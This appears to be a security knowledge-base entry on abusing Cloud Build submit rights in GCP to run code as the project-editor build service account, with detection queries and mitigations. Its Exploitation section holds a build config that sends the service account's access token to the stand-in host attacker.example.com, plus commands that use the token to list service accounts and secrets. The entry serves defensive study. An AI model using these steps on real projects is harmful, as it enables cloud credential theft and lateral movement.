Summary
| Forestall ACL Alias | GCP_TRIGGER_BUILD |
| GCP Alias | Compute Execution & Pipeline Pivots |
| Affected Object Types | Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/cloudbuild.admin, roles/cloudbuild.builds.editor |
Description
GCP_TRIGGER_BUILD indicates that an identity can submit and manage Cloud Build jobs in a GCP project. Cloud Build is GCP’s managed CI/CD service, and build jobs run as the Default Cloud Build Service Account ([PROJECT_NUMBER][email protected]) by default. This SA is automatically granted roles/editor on the project, giving it broad write access.
An attacker with the ability to submit Cloud Build jobs can execute arbitrary code running as this highly privileged SA — without needing to create VMs or manage compute infrastructure. The attacker simply submits a build that reads and exfiltrates the SA’s token from the build environment.
Key abuse scenarios:
- Submit a Cloud Build job with a malicious
cloudbuild.yaml→ code runs as the Cloud Build SA (project editor by default). - Exfiltrate the Cloud Build SA token → use it as the SA for lateral movement.
- Modify build triggers to inject malicious steps into the CI/CD pipeline (supply chain attack).
Identification
gcloud CLI
# Find who has Cloud Build admin or editor rolesPROJECT_ID="my-project"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("cloudbuild.admin|cloudbuild.builds.editor")) | {role: .role, members: .members}'
# Check Cloud Build SA permissionsPROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")CLOUD_BUILD_SA="${PROJECT_NUMBER}@cloudbuild.gserviceaccount.com"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq --arg sa "serviceAccount:${CLOUD_BUILD_SA}" '.bindings[] | select(.members[] | contains($sa))'
# List existing build triggersgcloud builds triggers list --project=$PROJECT_ID \ --format="table(name, description, createTime, github.name)"GCP Console
- Open GCP Console → Cloud Build → Triggers.
- Review all existing build triggers — check for unexpected source repositories or build configurations.
- Open IAM & Admin → IAM to find principals with
Cloud Build AdminorCloud Build Editorroles.
Exploitation
gcloud CLI
# Write a malicious Cloud Build config that exfiltrates the Cloud Build SA tokencat > /tmp/cloudbuild.yaml << 'EOF'steps:- name: 'gcr.io/cloud-builders/gcloud' entrypoint: 'bash' args: - '-c' - | TOKEN=$(gcloud auth print-access-token) curl -s -X POST \ -H "Content-Type: application/json" \ -d "{\"token\": \"$TOKEN\"}" \ https://attacker.example.com/collectEOF
# Submit the build without source — executes as the Cloud Build SA (roles/editor by default)PROJECT_ID="target-project"gcloud builds submit --no-source --config=/tmp/cloudbuild.yaml --project=$PROJECT_IDThe Cloud Build SA token is valid for ~1 hour scoped to cloud-platform. Use the collected token to pivot:
# Access project resources as the Cloud Build SACLOUD_BUILD_TOKEN="<token-from-collection-endpoint>"
# List service accounts in the projectcurl -s -H "Authorization: Bearer $CLOUD_BUILD_TOKEN" \ "https://iam.googleapis.com/v1/projects/${PROJECT_ID}/serviceAccounts"
# Read Secret Manager secretscurl -s -H "Authorization: Bearer $CLOUD_BUILD_TOKEN" \ "https://secretmanager.googleapis.com/v1/projects/${PROJECT_ID}/secrets"Compound path: GCP_TRIGGER_BUILD → submit malicious build → extract Cloud Build SA token (default roles/editor) → create SA keys or grant IAM roles → persistent access.
Mitigation
- Restrict the Cloud Build SA’s permissions — the default
roles/editorassignment is overly broad. Replace with a purpose-specific custom role. - Use custom SA for Cloud Build instead of the default SA.
- Restrict
roles/cloudbuild.builds.editor— only CI/CD systems and authorized developers should be able to submit builds. - Enable build approval gates for production build triggers.
- Audit build logs for unexpected operations (token exfiltration, secret access, lateral movement commands).
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | CreateBuild |
resource.type=build, methodName=google.devtools.cloudbuild.v1.CloudBuild.CreateBuild |
gcloud logging read \ 'resource.type="build" AND protoPayload.methodName="google.devtools.cloudbuild.v1.CloudBuild.CreateBuild"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.build_id)"Alert on:
- Build submissions outside of known CI/CD service accounts.
- Builds with inline
cloudbuild.yaml(not from a tracked source repository). - Build steps containing
gcloud auth print-access-tokenor metadata server requests. - Failed builds after unusual activity (attacker testing payloads).